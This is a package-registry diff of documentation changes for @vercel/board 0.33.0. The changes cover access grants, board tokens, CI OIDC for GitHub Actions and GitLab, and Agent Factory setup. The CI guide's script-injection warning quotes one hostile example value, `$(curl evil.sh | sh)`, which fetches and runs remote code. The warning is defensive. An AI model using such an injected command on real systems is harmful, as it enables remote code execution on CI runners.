@vercel/board 0.32.0 → 0.33.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (166) hide show
  1. package/README.md +25 -20
  2. package/dist/{access-CY5xVMIK.mjs → access-N3XmkKXg.mjs} +3 -3
  3. package/dist/access.d.mts +4 -5
  4. package/dist/access.mjs +5 -5
  5. package/dist/{actors-Bm-ojWWT.mjs → actors-ihyN47OV.mjs} +3 -3
  6. package/dist/{auth-K8dY1nBY.d.mts → auth-D6z3rMNj.d.mts} +7 -93
  7. package/dist/{auth-8pRZnF1M.mjs → auth-r-_PeZyw.mjs} +32 -148
  8. package/dist/{backend-DxE9wGKm.d.mts → backend-CWpyR1A7.d.mts} +81 -51
  9. package/dist/backend-local.d.mts +28 -0
  10. package/dist/backend-local.mjs +2 -0
  11. package/dist/{chat-provider-DkFp2hrh.mjs → chat-provider-9hCT654s.mjs} +2 -2
  12. package/dist/{chat-provider-BChYrrA7.d.mts → chat-provider-DJpFUaFv.d.mts} +2 -3
  13. package/dist/cli-commands.d.mts +1 -1
  14. package/dist/cli-commands.mjs +1 -1
  15. package/dist/cli-embedded.d.mts +2 -2
  16. package/dist/cli-embedded.mjs +1 -1
  17. package/dist/cli.mjs +6 -6
  18. package/dist/{commands-CpyPV_tk.d.mts → commands-BOBQHVqM.d.mts} +9 -0
  19. package/dist/{commands-DsnQKTdB.mjs → commands-CHoMl06v.mjs} +12 -1
  20. package/dist/{conformance-3RBKxwbp.mjs → conformance-qKmGLTAT.mjs} +5 -5
  21. package/dist/conformance.d.mts +1 -1
  22. package/dist/conformance.mjs +1 -1
  23. package/dist/{engine-DurYIRt8.mjs → engine-JxgZiikU.mjs} +6 -8
  24. package/dist/{errors-CJXhhzvT.mjs → errors-Pk0XV1hK.mjs} +56 -2
  25. package/dist/{events-lujPA3gQ.mjs → events-IQg0k281.mjs} +2 -2
  26. package/dist/exports-BuKjVq2t.d.mts +4 -0
  27. package/dist/exports-gHDHlg0i.mjs +3207 -0
  28. package/dist/{external-D3p5T57R.mjs → external-CYe424fO.mjs} +1 -1
  29. package/dist/{folds-DLUzfibJ.d.mts → folds-DjFTiqIM.d.mts} +38 -44
  30. package/dist/index-CXvvYNYj.d.mts +11 -0
  31. package/dist/index.d.mts +9 -8
  32. package/dist/index.mjs +21 -8
  33. package/dist/index.node.d.mts +5 -6
  34. package/dist/index.node.mjs +3 -3
  35. package/dist/inspect/app.js +95 -95
  36. package/dist/{internal-CvsrprnU-zZMpDiRY.mjs → internal-CvsrprnU-CEPOUpAv.mjs} +63 -43
  37. package/dist/local-BbLjA5vI.mjs +8818 -0
  38. package/dist/{main-CcYDo9Hb.mjs → main-CQpCZJFw.mjs} +91 -23
  39. package/dist/{backend-a2/store-memory.mjs → memory-7RRnLa4X.mjs} +3 -3
  40. package/dist/middleware-BU7rVi9F.mjs +103 -0
  41. package/dist/{client-COfYrgfV.d.mts → provider-BlzUvcM9.d.mts} +665 -5
  42. package/dist/{schemas-DBmUO6pr.mjs → schemas-BG205xds.mjs} +2 -5
  43. package/dist/{serve-Bplieh0C.mjs → serve-D8_W4UN6.mjs} +33 -24
  44. package/dist/{node-BgeGcwX0.mjs → server-BiIUXWbU.mjs} +419 -6
  45. package/dist/{serving-Y7s7VDjB.mjs → serving-D7rcUtSC.mjs} +1 -1
  46. package/dist/{sql-E1K5g_ih.mjs → sql-BQzKUqQt.mjs} +349 -114
  47. package/dist/sqlite-DCtZFEVm.mjs +30 -0
  48. package/dist/{sqlite-db-CzcD_FW8.mjs → sqlite-db-qLTs52Ny.mjs} +2 -3
  49. package/dist/{store-codec-pAG2oPgQ-SqDXlPBR.mjs → store-N8PXxDAS-BdL4Sq-f.mjs} +6 -2
  50. package/dist/{store-memory-B0PkVSuQ.mjs → store-memory-CKQVEzXN.mjs} +2 -4
  51. package/dist/store-memory-OdGsc-t_.mjs +2 -0
  52. package/dist/{store-polling-BZt2Rf3D-Div-bJ_D.mjs → store-polling-BZt2Rf3D-oh3aU_An.mjs} +1 -1
  53. package/dist/store-sqlite-CTxAVCcz.mjs +2 -0
  54. package/dist/{store-sqlite-D85t3tE7.mjs → store-sqlite-D6fIszST.mjs} +3 -4
  55. package/dist/sync-chat-sdk.d.mts +2 -2
  56. package/dist/sync-chat-sdk.mjs +2 -2
  57. package/dist/sync-github.d.mts +2 -2
  58. package/dist/sync-github.mjs +2 -2
  59. package/dist/sync-linear.d.mts +2 -3
  60. package/dist/sync-linear.mjs +2 -2
  61. package/dist/sync-slack.d.mts +3 -3
  62. package/dist/sync-slack.mjs +4 -4
  63. package/dist/sync.d.mts +2 -2
  64. package/dist/sync.mjs +2 -2
  65. package/dist/{watchers-hash-CurCzwhe.mjs → targets-CknPGGVi.mjs} +40 -10
  66. package/dist/{tokens-C7kYyrAG.mjs → tokens-DPKjl3jf.mjs} +15 -43
  67. package/docs/01-board/01-mounting.md +243 -288
  68. package/docs/01-board/03-identity.md +41 -50
  69. package/docs/01-board/04-messages.md +15 -14
  70. package/docs/01-board/05-reading.md +3 -3
  71. package/docs/01-board/06-watchers.md +58 -105
  72. package/docs/01-board/07-schedules.md +21 -41
  73. package/docs/01-board/08-middleware.md +11 -17
  74. package/docs/01-board/09-access.md +76 -313
  75. package/docs/01-board/10-local.md +81 -0
  76. package/docs/01-quickstart.md +49 -126
  77. package/docs/02-sync/01-overview.md +25 -80
  78. package/docs/02-sync/02-functions.md +10 -16
  79. package/docs/02-sync/03-slack.md +13 -26
  80. package/docs/02-sync/04-github.md +8 -20
  81. package/docs/02-sync/07-linear.md +6 -10
  82. package/docs/03-guides/02-inspector.md +3 -3
  83. package/docs/03-guides/03-ci.md +88 -128
  84. package/docs/03-guides/04-triage.md +7 -15
  85. package/docs/03-guides/05-agent-factory.md +30 -36
  86. package/docs/04-reference/01-cli.md +104 -22
  87. package/docs/04-reference/02-board.md +60 -74
  88. package/docs/04-reference/03-http.md +119 -57
  89. package/docs/04-reference/05-conformance.md +31 -45
  90. package/docs/index.md +41 -65
  91. package/package.json +12 -83
  92. package/dist/a2-DiDc77Uf.mjs +0 -4238
  93. package/dist/access-DPcrKIH_.d.mts +0 -37
  94. package/dist/backend-a2/blob-vercel.d.mts +0 -8
  95. package/dist/backend-a2/blob-vercel.mjs +0 -81
  96. package/dist/backend-a2/contract.d.mts +0 -828
  97. package/dist/backend-a2/contract.mjs +0 -5
  98. package/dist/backend-a2/scheduler-local.d.mts +0 -11
  99. package/dist/backend-a2/scheduler-local.mjs +0 -2
  100. package/dist/backend-a2/scheduler-qstash.d.mts +0 -79
  101. package/dist/backend-a2/scheduler-qstash.mjs +0 -522
  102. package/dist/backend-a2/scheduler-vercel.d.mts +0 -38
  103. package/dist/backend-a2/scheduler-vercel.mjs +0 -204
  104. package/dist/backend-a2/store-memory.d.mts +0 -11
  105. package/dist/backend-a2/store-postgres.d.mts +0 -38
  106. package/dist/backend-a2/store-postgres.mjs +0 -2977
  107. package/dist/backend-a2/store-redis-http.d.mts +0 -17
  108. package/dist/backend-a2/store-redis-http.mjs +0 -520
  109. package/dist/backend-a2/store-redis.d.mts +0 -31
  110. package/dist/backend-a2/store-redis.mjs +0 -88
  111. package/dist/backend-a2/store-sqlite.d.mts +0 -12
  112. package/dist/backend-a2/store-sqlite.mjs +0 -31
  113. package/dist/backend-a2.d.mts +0 -2633
  114. package/dist/backend-a2.mjs +0 -3
  115. package/dist/backend-http-CaN06CaD.d.mts +0 -672
  116. package/dist/backend-http-CoaCghuJ.mjs +0 -18
  117. package/dist/backend-http-l5A8UmL-.mjs +0 -585
  118. package/dist/backend-http.d.mts +0 -10
  119. package/dist/backend-http.mjs +0 -2
  120. package/dist/backend-http.node.d.mts +0 -10
  121. package/dist/backend-http.node.mjs +0 -2
  122. package/dist/backend-vercel-BE65okBC.mjs +0 -86
  123. package/dist/backend-vercel-CVxoTNF2.mjs +0 -1744
  124. package/dist/backend-vercel-jg-6PAgD.d.mts +0 -674
  125. package/dist/backend-vercel.d.mts +0 -9
  126. package/dist/backend-vercel.mjs +0 -11
  127. package/dist/backend-vercel.node.d.mts +0 -17
  128. package/dist/backend-vercel.node.mjs +0 -2
  129. package/dist/blob-Bx8QPWEd.d.mts +0 -40
  130. package/dist/blob-WbB2DJKn.mjs +0 -201
  131. package/dist/errors-2vGs49Db.d.mts +0 -16
  132. package/dist/exports-BnUZuRm9.mjs +0 -1389
  133. package/dist/exports-u5mApVvn.d.mts +0 -5
  134. package/dist/files-SniSmeEr.mjs +0 -47
  135. package/dist/folds-DsWfIftc.mjs +0 -208
  136. package/dist/index-UXpTPWNc.d.mts +0 -11
  137. package/dist/index.default-Dp8gexln.mjs +0 -12
  138. package/dist/local-C76Fy5ad.mjs +0 -44
  139. package/dist/middleware-BavYSDUa.mjs +0 -62
  140. package/dist/platform-B4TnJtWu-Do3agKr5.mjs +0 -32
  141. package/dist/project-4Vl7_uy5.mjs +0 -124
  142. package/dist/provider-gynDUoyW.d.mts +0 -665
  143. package/dist/redis-tables-BFRj_SEJ.mjs +0 -3895
  144. package/dist/reducer-Bswr11ar-P324o9vn.mjs +0 -74
  145. package/dist/reducer-CYPHsSmd-BXjGiptm.d.mts +0 -170
  146. package/dist/reducers-DQVSP3kk.mjs +0 -538
  147. package/dist/retryable-lazy-DZWmHpii-DpTc5PIP.mjs +0 -19
  148. package/dist/scheduler-task-X1SToDjP-D2Il2rln.mjs +0 -69
  149. package/dist/server-B9gu0qi1-DI1WvcVK.d.mts +0 -391
  150. package/dist/server-DX7mM6nm-D7N_7bug.mjs +0 -3611
  151. package/dist/server-wIpAEjpX.mjs +0 -17
  152. package/dist/session-clear-XJYpmUpg-2q8l_FJR.mjs +0 -63
  153. package/dist/store-DEzcHZOA-B-5vhxef.d.mts +0 -540
  154. package/dist/store-N8PXxDAS-DWWgv-Vz.mjs +0 -5
  155. package/dist/store-memory-4IBl0Ztu.mjs +0 -2
  156. package/dist/store-presence-polling-JuAy2Ck2-Dh-g_KYM.mjs +0 -109
  157. package/dist/store-sqlite-iBTYYKBj.mjs +0 -2
  158. package/dist/stream-buffer-DrTyiIuo-Be10yOBR.mjs +0 -53
  159. package/dist/targets-Cgjs29T0.mjs +0 -33
  160. package/dist/types-CmrFjpml.d.mts +0 -102
  161. package/dist/wait-until-Dw4XrIDQ.mjs +0 -42
  162. package/docs/01-board/02-database.md +0 -258
  163. package/docs/04-reference/04-log.md +0 -247
  164. package/sql/postgres/board.sql +0 -145
  165. package/sql/postgres/notifications.sql +0 -24
  166. package/sql/postgres/schema.sql +0 -451
@@ -44,54 +44,47 @@ jobs:
44
44
  > like `$(curl evil.sh | sh)` runs as a command when it's interpolated into a
45
45
  > script. This is GitHub's classic script-injection hole.
46
46
 
47
- ### Trust the workflow
48
-
49
- A board trusts its own Vercel project by default. A workflow is a machine
50
- outside it, so the board names it in `access`, with what it may do in each
51
- channel:
52
-
53
- ```ts app/api/board/[[...path]]/route.ts
54
- import { board } from '@vercel/board'
55
- import { githubActions } from '@vercel/board/access'
56
- import { a2 } from '@vercel/board/backend-a2'
57
- import { postgres } from '@vercel/board/backend-a2/store-postgres'
58
-
59
- const team = board({
60
- backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
61
- access: [
62
- githubActions({
63
- repository: 'acme/www',
64
- workflow: '.github/workflows/deploy.yml',
65
- can: { 'errors-www': ['post', 'label'], deploys: ['read', 'post'] },
66
- }),
67
- ],
68
- })
69
- export const GET = team.fetch, POST = team.fetch
47
+ ### Let the workflow in
48
+
49
+ A workflow has no Vercel login, so it can't use the team's board in Vercel's
50
+ API by itself. A board that keeps [grants](../01-board/09-access.md#grants)
51
+ lets it in by its token: one on [`local()`](../01-board/10-local.md) that your
52
+ team serves in a long-running process, or a
53
+ [backend of your own](../01-board/01-mounting.md#a-backend-of-your-own).
54
+ Vercel's board doesn't keep grants yet. Someone with `manage` in every channel
55
+ grants the repo's runs what they may do, with no deploy:
56
+
57
+ ```text
58
+ $ vb grants create github --claim repository=acme/www --claim event_name=push --can 'errors-www=post,label;deploys=read,post'
59
+ granted g1
70
60
  ```
71
61
 
72
- `githubActions()` matches the token's `repository`, plus `workflow`, `event`
73
- (`push`, `pull_request`, or a list), and `ref` when you give them. The
74
- workflow posts as `github:repo:<repository_id>`, with the handle
75
- `acme/www`. A workflow that matches no rule gets a 403:
76
- `this token can't use this board: add githubActions({ repository: 'acme/www', can }) to access`.
62
+ The grant matches the token's `repository` and `event_name`, each exactly, and
63
+ any other claim you add, such as `--claim ref=refs/heads/main`. A name given
64
+ twice is any of its values. The workflow writes as
65
+ `github:repo:<repository_id>`, with the handle `acme/www`. A workflow no grant
66
+ lets in gets a 403 whose hint is the grant to create:
67
+ `Grant it: vb grants create github --claim repository=acme/www`.
77
68
 
78
- `can` says what it may do where. This one posts and labels in `errors-www`, for
79
- the step above, and reads and posts in `deploys`, which the wait below needs.
80
- `['post']` alone would start threads and read nothing. See
81
- [Access](../01-board/09-access.md) for the permissions and patterns.
69
+ `--can` says what it may do where. This one posts and labels in `errors-www`,
70
+ for the step above, and reads and posts in `deploys`, which the wait below
71
+ needs. `errors-www=post` alone would start threads and read nothing. Quote it:
72
+ `;` ends a command in a shell. See [Access](../01-board/09-access.md) for the
73
+ permissions and patterns.
82
74
 
83
75
  > [!NOTE]
84
- > A repo's workflows share one principal, so a rule for a `pull_request` run
85
- > and one for a trusted workflow are the same author. Where a run can't read,
86
- > it changes and sees only what it wrote there without reading, never what the
87
- > workflow that reads wrote.
76
+ > A repo's workflows share one principal, so runs that different grants let in
77
+ > are the same author. Where a run can't read, it changes and sees only what it
78
+ > wrote there without reading, never what the workflow that reads wrote.
88
79
 
89
80
  > [!TIP]
90
- > Keep `can` narrow for `pull_request` workflows. A `pull_request` run uses the
91
- > workflow file from the PR's merge commit, so anyone who can open a PR can
92
- > change what it posts. Its token carries `ref: refs/pull/<n>/merge`, so match
93
- > it on `event` and `workflow`, not `ref`. Fork PRs get no token at all. For PR
94
- > activity, [GitHub sync](../02-sync/04-github.md) is usually the better tool.
81
+ > Keep `--can` narrow for grants that match `pull_request` runs. A
82
+ > `pull_request` run uses the workflow file from the PR's merge commit, so
83
+ > anyone who can open a PR can change what it posts. Its token carries
84
+ > `ref: refs/pull/<n>/merge`, so match it on `event_name`, not `ref`. A grant
85
+ > on `repository` alone matches every run in the repo, pull requests included.
86
+ > Fork PRs get no token at all. For PR activity,
87
+ > [GitHub sync](../02-sync/04-github.md) is usually the better tool.
95
88
 
96
89
  ### Wait for a person
97
90
 
@@ -108,7 +101,7 @@ npx -y @vercel/board wait --re "$id" --after "$id" --text "ship it" --timeout 30
108
101
  too, if `deploys` mirrors a channel), or 1 when the timeout passes, which
109
102
  fails the step.
110
103
 
111
- ### A protected board
104
+ ### A protected route
112
105
 
113
106
  If the board's deployment is behind Vercel Deployment Protection, add the
114
107
  project's bypass secret to the step's `env:` and the CLI sends it:
@@ -122,70 +115,13 @@ env:
122
115
 
123
116
  ## From a Vercel deployment
124
117
 
125
- Code running on Vercel gets its token from the platform. The board's own
126
- deployments in the environment it runs in can do everything, with no setup, so
127
- a preview can call itself. A production board's previews need a
128
- `vercelProject({ project: 'self', environments: ['preview'], can })` rule.
129
- Another project needs a rule too:
130
-
131
- ```ts app/api/board/[[...path]]/route.ts
132
- import { board } from '@vercel/board'
133
- import { vercelProject } from '@vercel/board/access'
134
- import { a2 } from '@vercel/board/backend-a2'
135
- import { postgres } from '@vercel/board/backend-a2/store-postgres'
136
-
137
- const team = board({
138
- backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
139
- access: [vercelProject({ project: 'marketing', environments: ['production'], can: { deploys: ['post'] } })],
140
- })
141
- export const GET = team.fetch, POST = team.fetch
142
- ```
143
-
144
- `vercelProject()` matches a project by name or ID, and optionally its `team` and
145
- `environments`. A name without `team` is a project on the board's own team;
146
- for another team's project, pass its `team` or use the project's ID. In that
147
- project, a handle on the team's board mints the token itself:
148
-
149
- ```ts app/api/deploy-hook/route.ts
150
- import { board } from '@vercel/board'
151
- import { http } from '@vercel/board/backend-http'
152
-
153
- const team = board({ backend: http('https://team.example/api/board') })
154
-
155
- export async function POST(request: Request) {
156
- const { sha } = await request.json()
157
- // here's where you'd check who's calling
158
- await team.post('deploys', { text: `marketing ${sha} is live`, id: `deploy-${sha}` })
159
- return Response.json({ ok: true })
160
- }
161
- ```
162
-
163
- It posts as `vercel:project:<project_id>:production`, with the project's name
164
- as its handle (`marketing`, or `marketing@preview` outside production).
165
-
166
- If the board is behind Deployment Protection, its project trusts this one with
167
- Trusted Sources, as for an [Agent Factory](./05-agent-factory.md#trust-the-factory).
168
- The SDK never sends this project's own `VERCEL_AUTOMATION_BYPASS_SECRET` to
169
- another project's board.
170
-
171
- ## From your own routes
118
+ Code running on Vercel gets its token from the platform. `board()` with no
119
+ backend is the team's board, reached with the deployment's OIDC token:
172
120
 
173
- Code that runs next to the board doesn't need a token at all. What `board()`
174
- returns is the handle, which acts in-process:
175
-
176
- ```ts app/api/board/[[...path]]/route.ts
121
+ ```ts app/api/deploys/route.ts
177
122
  import { board } from '@vercel/board'
178
- import { a2 } from '@vercel/board/backend-a2'
179
- import { postgres } from '@vercel/board/backend-a2/store-postgres'
180
123
 
181
- const backend = a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) })
182
-
183
- export const team = board({ backend })
184
- export const GET = team.fetch, POST = team.fetch
185
- ```
186
-
187
- ```ts app/api/deploys/route.ts
188
- import { team } from '@/app/api/board/[[...path]]/route'
124
+ const team = board()
189
125
 
190
126
  export async function POST(request: Request) {
191
127
  const delivery = await request.json()
@@ -195,49 +131,59 @@ export async function POST(request: Request) {
195
131
  }
196
132
  ```
197
133
 
198
- - **It writes as `board:client`,** and `team.as('deploys')` as
199
- `board:client:deploys`. Profiles use lowercase letters, numbers, `-`, and
200
- `_`.
134
+ - **It writes as its project,** `vercel:project:<project_id>:production`, and
135
+ `team.as('deploys')` as `vercel:project:<project_id>:production+deploys`.
136
+ Profiles start with a letter and use up to 32 letters, numbers, and hyphens.
137
+ - **Vercel's API lets it in once the board is granted** to the project, in the
138
+ environment it runs in. Until then the team's default board fails with 404
139
+ `no_board`, and a named one with 403 `board_not_granted`. The project's own
140
+ code makes a board the first time it names one the team doesn't have: see
141
+ [A board by its name](../01-board/01-mounting.md#a-board-by-its-name).
201
142
  - **An `id` makes a post idempotent.** The same `id` from the same handle
202
143
  never posts twice, so a redelivered webhook is harmless.
203
- - **Its writes are like anyone's.** They sync to platforms and wake
144
+ - **Its writes are like anyone's,** and wake
204
145
  [watchers](../01-board/06-watchers.md).
205
146
 
206
147
  See [Mounting](../01-board/01-mounting.md#the-handle) for the rest of the
207
- handle.
148
+ handle. With `BOARD_URL` set, `board()` takes the deployment's OIDC token to
149
+ the board at that URL the same way. There, a project other than the board's
150
+ own needs a grant, for its ID and the environment it runs in:
151
+
152
+ ```text
153
+ $ vb grants create vercel --claim project_id=prj_deploys --claim environment=production --can deploys=post
154
+ granted g2
155
+ ```
156
+
157
+ A project on another team takes a [board token](#from-anywhere-else) instead,
158
+ until cross-team access exists. Behind Deployment Protection, the board's
159
+ project trusts this one with Trusted Sources, as for an
160
+ [Agent Factory](./05-agent-factory.md#trust-the-factory). The SDK never sends
161
+ this project's own `VERCEL_AUTOMATION_BYPASS_SECRET` to another project's board.
208
162
 
209
163
  ## From anywhere else
210
164
 
211
165
  `BOARD_TOKEN` takes a token you minted yourself, and the CLI and `board()`
212
- send it as is. It must be one the board verifies: a
213
- [board token](../01-board/09-access.md#tokens) from `vb tokens create`, or an OIDC
214
- token whose audience is the board's URL, from the board's own project or a
215
- caller a rule in `access` or a [grant](../01-board/09-access.md#grants)
216
- matches. Discovery tells you the audience:
166
+ send it as is. It must be one the board at `BOARD_URL` verifies: an OIDC token
167
+ whose audience is the board's URL, from the board's own project or a caller a
168
+ [grant](../01-board/09-access.md#grants) lets in, or a
169
+ [board token](../01-board/09-access.md#tokens) from `vb tokens create`.
170
+ Discovery tells you the audience:
217
171
 
218
172
  ```bash
219
173
  # in a terminal:
220
174
  curl -s https://team.example/api/board | jq -r .audience
221
175
  ```
222
176
 
223
- Another CI's tokens work through `oidc()`, which pins the issuer and the
224
- claims to match, or through a grant with the same issuer and claims,
225
- `vb grants create https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post`.
226
- In GitLab, a job's `id_tokens` with the board's audience is the token:
177
+ Another CI's tokens work through a grant that names its issuer by URL, with
178
+ the claims to match:
227
179
 
228
- ```ts app/api/board/[[...path]]/route.ts
229
- import { board } from '@vercel/board'
230
- import { oidc } from '@vercel/board/access'
231
- import { a2 } from '@vercel/board/backend-a2'
232
- import { postgres } from '@vercel/board/backend-a2/store-postgres'
233
-
234
- const team = board({
235
- backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
236
- access: [oidc({ issuer: 'https://gitlab.com', claims: { project_path: 'acme/api', ref: 'main' }, can: { deploys: ['post'] } })],
237
- })
238
- export const GET = team.fetch, POST = team.fetch
180
+ ```text
181
+ $ vb grants create https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post
182
+ granted g3
239
183
  ```
240
184
 
185
+ In GitLab, a job's `id_tokens` with the board's audience is the token:
186
+
241
187
  ```yaml .gitlab-ci.yml
242
188
  notify:
243
189
  variables:
@@ -249,6 +195,20 @@ notify:
249
195
  - npx -y @vercel/board post deploys "api $CI_COMMIT_SHORT_SHA is live"
250
196
  ```
251
197
 
198
+ A caller with no OIDC token, or one on another team, takes a board token.
199
+ Someone on the board's team mints it, narrowed to what the caller needs, and
200
+ the caller sends it as `BOARD_TOKEN`:
201
+
202
+ ```bash
203
+ # in a terminal, with BOARD_URL set to the board:
204
+ vb tokens create deploy-notifier --can deploys=post --profile deploys --expires 90d
205
+ ```
206
+
207
+ It prints the secret once, so store it where the caller reads its secrets.
208
+ It acts as you, narrowed to `deploys=post`, and every post with it is written
209
+ as your `deploys` profile. It lives 90 days at most. `vb tokens` lists it, and
210
+ `vb tokens revoke` stops it.
211
+
252
212
  The CLI looks for a token in this order: `BOARD_TOKEN`, a local board's
253
213
  (`vb serve`), GitHub Actions, the Vercel runtime, then your `vercel login`. See
254
214
  [Identity](../01-board/03-identity.md) for how each one maps to a principal.
@@ -103,17 +103,10 @@ print, durably, with retries.
103
103
 
104
104
  ```ts app/api/board/[[...path]]/route.ts
105
105
  import { board } from '@vercel/board'
106
- import { a2 } from '@vercel/board/backend-a2'
107
- import { vercelQueues } from '@vercel/board/backend-a2/scheduler-vercel'
108
- import { postgres } from '@vercel/board/backend-a2/store-postgres'
109
-
110
- const backend = a2({
111
- store: postgres({ connectionString: process.env.DATABASE_URL! }),
112
- scheduler: vercelQueues({ topic: 'board' }),
113
- })
106
+ import { local } from '@vercel/board/backend-local'
114
107
 
115
108
  const team = board({
116
- backend,
109
+ backend: local(),
117
110
  // sync: { slack: slack('slack/acme', channels({ '#firehose': 'firehose' })) },
118
111
  watch: {
119
112
  triage: {
@@ -132,7 +125,6 @@ const team = board({
132
125
  },
133
126
  })
134
127
  export const GET = team.fetch, POST = team.fetch
135
- export const { scheduler } = backend
136
128
  ```
137
129
 
138
130
  - **`event` is exactly what `vb tail --json` prints.** Debug a watcher by
@@ -144,11 +136,11 @@ export const { scheduler } = backend
144
136
  - **A watcher's own writes never wake it.** Writes by other watchers do, so
145
137
  two watchers that answer each other loop.
146
138
 
147
- Without a scheduler, a watcher runs in the request that wrote, and one that
148
- fails waits for the next write to try again (see
149
- [Without a scheduler](../01-board/01-mounting.md#without-a-scheduler)). A
150
- production board takes a scheduler, mounted in
151
- [its own route](../01-board/01-mounting.md#the-scheduler-route).
139
+ The board is on `local()` because `firehose` mirrors Slack, and Vercel's board
140
+ doesn't run sync yet: a board with `sync` runs in a long-running process,
141
+ whose timers retry a `run` that fails. A watcher on a channel nothing syncs
142
+ runs on your team's board as it is, `board({ watch })`: see
143
+ [Watchers](../01-board/06-watchers.md).
152
144
 
153
145
  ## 4. Hand reports to an agent
154
146
 
@@ -6,7 +6,7 @@ description: Give hosted Factory workflows a persistent collaboration board with
6
6
  ## One collaboration surface
7
7
 
8
8
  A Factory uses a team's board like any other client, through its
9
- `/api/board`. It needs no endpoint, store, or scheduler of its own, and people
9
+ `/api/board`. It needs no endpoint or storage of its own, and people
10
10
  read its discussions in the board's inspector. Factory discussions live in
11
11
  namespaced `factory/...` channels, and its posts use `noSync: true`, so they
12
12
  stay on the board even in a channel that syncs. Keep the board's watcher
@@ -17,41 +17,34 @@ reaches no platform, whatever its labels.
17
17
 
18
18
  There are two independent checks. Configure both on the board's project.
19
19
 
20
- 1. The board's `access` names the Factory's project by its ID, with the
21
- environments it calls from:
22
-
23
- ```ts app/api/board/[[...path]]/route.ts
24
- import { board } from '@vercel/board'
25
- import { vercelProject } from '@vercel/board/access'
26
- import { a2 } from '@vercel/board/backend-a2'
27
- import { postgres } from '@vercel/board/backend-a2/store-postgres'
28
-
29
- const team = board({
30
- backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
31
- access: [
32
- // The Factory reads and posts everywhere, and labels only its own discussions.
33
- vercelProject({
34
- project: 'prj_FACTORY_ID',
35
- environments: ['production'],
36
- can: { '*': ['read', 'post'], 'factory/': ['read', 'post', 'label'] },
37
- }),
38
- ],
39
- })
40
- export const GET = team.fetch, POST = team.fetch
20
+ 1. A [grant](../01-board/09-access.md#grants) names the Factory's project by
21
+ its ID, with the environment it calls from. Someone with `manage` in every
22
+ channel creates it on the board, a board that keeps grants: one on
23
+ [`local()`](../01-board/10-local.md) or a
24
+ [backend of your own](../01-board/01-mounting.md#a-backend-of-your-own).
25
+ Vercel's board doesn't keep grants yet.
26
+
27
+ ```text
28
+ $ vb grants create vercel --claim project_id=prj_FACTORY_ID --claim environment=production --can '*=read,post;factory/=read,post,label'
29
+ granted g1
41
30
  ```
42
31
 
43
- - **Name the project by its ID.** A `prj_…` ID is unique on Vercel, so the
44
- rule matches it on any team. The ID above is a placeholder.
45
- - **List the environments.** Without `environments`, the rule matches every
46
- one, development included, and anyone who can access the Factory's project
47
- can mint its development tokens. Add preview or development only when you
48
- mean to.
32
+ - **Name the project by its ID.** The ID above is a placeholder.
33
+ - **Name the environment.** A Vercel grant names one, since a preview runs any
34
+ branch's code, and another environment is another grant. Add preview or
35
+ development only when you mean to: anyone who can access the Factory's
36
+ project can mint its development tokens.
49
37
  - **The grant reads and posts in every channel,** and labels only in
50
38
  `factory/`, since a Factory post carries labels. It never reacts or syncs.
39
+ - **A Factory on another team has only a board token,** until cross-team
40
+ access exists. Someone on the board's team mints it with the same scope:
41
+ `vb tokens create factory --can '*=read,post;factory/=read,post,label' --profile factory --expires 90d`.
42
+ It acts as its minter, narrowed, and writes as their `factory` profile. It
43
+ lives 90 days at most, so mint the next one before it expires.
51
44
  - **Edits and deletes go by principal.** Every run in an environment is one
52
- principal, `vercel:project:<id>:production`, so a raw API client in any run
53
- can edit or delete what another run posted. The Factory's tool exposes only
54
- scoped reads, posts, and replies.
45
+ principal, `vercel:project:prj_FACTORY_ID:production`, so a raw API client
46
+ in any run could edit or delete what another run posted. The Factory's tool
47
+ exposes only scoped reads, posts, and replies.
55
48
  - **Nothing else changes.** The board's own people and deployments keep their
56
49
  access.
57
50
 
@@ -71,8 +64,8 @@ for the current configuration UI and availability.
71
64
  The Factory mints an audience-bound Vercel OIDC JWT and sends it in both
72
65
  `Authorization: Bearer <JWT>` and `x-vercel-trusted-oidc-idp-token: <JWT>`.
73
66
  The edge consumes the second header; the board verifies the first. No
74
- protection-bypass secret is needed. A handle in Node on Vercel
75
- (`board({ backend: http(url) })`) sends both the same way, with
67
+ protection-bypass secret is needed. A handle in Node on Vercel, `board()`
68
+ with `BOARD_URL` set to the board, sends both the same way, with
76
69
  `BOARD_TOKEN` or the deployment's OIDC token for the board's URL. Local
77
70
  people's clients don't add the second header.
78
71
 
@@ -85,9 +78,10 @@ never the secret. A hosted request the edge rejects fails with what trust to
85
78
  configure, and never reads or creates a saved bypass. A deployment without
86
79
  OIDC fails with how to enable it.
87
80
 
88
- A board's wake-ups go the other way, and carry no credential. A project's
89
- board on `http()` behind Deployment Protection lets `POST /wake` through
90
- itself: see [Watchers](../01-board/06-watchers.md#on-a-board-on-http).
81
+ A board's wake-ups go the other way, and carry no credential. A project whose
82
+ watchers a board wakes at a URL, behind Deployment Protection, lets
83
+ `POST /wake` through itself: see
84
+ [Watchers](../01-board/06-watchers.md#woken-by-the-board).
91
85
 
92
86
  ## Scope and inspect
93
87
 
@@ -26,7 +26,7 @@ The CLI makes no HTTP calls of its own: every command goes through
26
26
  `@vercel/board/cli` runs the same CLI inside another one, as `vercel board`
27
27
  does. Help, usage, and errors use the name it's given. It has every command but
28
28
  [`serve`](#serve) and [`inspect`](#inspect), so an app that bundles it brings
29
- no A2 and no inspector.
29
+ no local board and no inspector.
30
30
 
31
31
  ```ts
32
32
  import { createApp } from '@vercel/board/cli'
@@ -82,7 +82,9 @@ With no board URL anywhere, it talks to your team's board in Vercel's API:
82
82
  (`.vercel/project.json`, searching up to the Git checkout's root), or else your
83
83
  login's default team. `--scope <team>` picks another, by its slug or ID. It
84
84
  reads and writes as you, with the login the Vercel CLI hands it
85
- (`VERCEL_AUTH_TOKEN`), `vercel login`'s, or `VERCEL_TOKEN`.
85
+ (`VERCEL_AUTH_TOKEN`), `vercel login`'s, or `VERCEL_TOKEN`. A board token in
86
+ `BOARD_TOKEN` goes ahead of all of them, as it is, and the board acts as
87
+ whoever minted it, within its `can`.
86
88
 
87
89
  ### In-process, on a handle
88
90
 
